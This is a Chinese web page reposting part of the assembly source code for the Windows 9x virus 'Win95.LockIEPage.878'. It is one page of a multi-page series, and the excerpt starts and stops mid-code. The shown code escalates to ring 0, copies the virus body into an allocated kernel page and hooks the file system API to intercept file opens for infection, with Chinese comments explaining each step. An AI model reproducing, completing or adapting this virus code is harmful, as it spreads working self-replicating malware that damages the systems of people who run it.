 |
Win9x病毒--Win95.LockIEPage.878原代码 |
|
| Win9x病毒--Win95.LockIEPage.878原代码 |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:22:23
|
52h ;VMMCall_RegSetValueEx add esp,6*4 push ebp @@RegCloseKey: int 20h ;关闭注册表句柄 dd 00010149h ;VMMCall_RegCloseKey add esp,1*4 @@OpenRegKeyError: push L 0fh push L 00 push L -1 push L 00 push L 00 push L 00 push L 01 push L 02 @@AllocPage: int 20h ;为病毒连接一个挂接页(大小=1000h) dd 00010053h ;VMMCall_AllocPage add esp,8*4 or eax,eax jz short @@ExitHook ;连接失败 mov edi,eax call @@GetVirusStartAddr @@GetVirusStartAddr: pop esi sub esi,OFF @@GetVirusStartAddr-OFF @@Start mov ecx,VirusSize cld rep movsb ;将病毒搬移到Ring0页内 mov edi,eax add eax,OFF @@MyFileHookApi-OFF @@Start push eax @@HookFileApi: int 20h ;挂接文件系统 dd 00400067h ;VMMCall_HookFileSystem add esp,04h mov [edi+OFF OldFileHookApi-@@Start],eax @@ClsOptFlag: xor eax,eax ;清除重入标志 mov [edi.OFF OptFlag-OFF @@Start],eax @@ExitHook: popad iretd ;返回到Ring3继续,标号@@Ring3GoOn @@SetMyInt03: cli pop W[esi] pop W[esi+6] ;修改中断03的线形地址 int 03 ;进入Ring0标号@@MyInt03 @@Ring3GoNo: sti popad MoveToEax db 0b8h OldAppEntry dd OFF @@Exit jmp eax ;跳去执行原程序 ;IFSFileHookFunc(pIFSfn,nfn,nDrv,nRType,nCP,pir); @@MyFileHookApi: pushad mov ebp,esp push ds push es push ss pop ds push ss pop es ;设置数据段 cmp D[ebp+(8+1+1)*4],36 ;是否打开文件调用? jnz short @@OldFileHookApi call @@GetPathName @@OldFileHookApi: pop es pop ds popad JmpMem dw 25ffh ;跳到原文件挂接函数运行 OldFileHookApi dd ? OptFlag dd 00h @@GetPathName: pop esi push esi ;Push Back Addr @@IsOptFlagSet: add esi,OFF OptFlag-OFF @@OldFileHookApi mov ecx,VirusFlag cmp [esi],ecx ;是否重入? jz short @@RetOldHookApi @@SetOptFlag: mov [esi],ecx ;设置重入标志 add esi,OFF FilePathBuffer-OFF OptFlag mov edi,esi mov eax,[ebp+(8+1+2)*4];Get nDriver(1=A;2=B,3=C...) add ax,":A"-1 cld stosw ;构造Ansi路径上一页 [1] [2] [3] [4] [5] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: Tini 的VC原代码 下一篇文章: C语言库函数(A类字母) |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |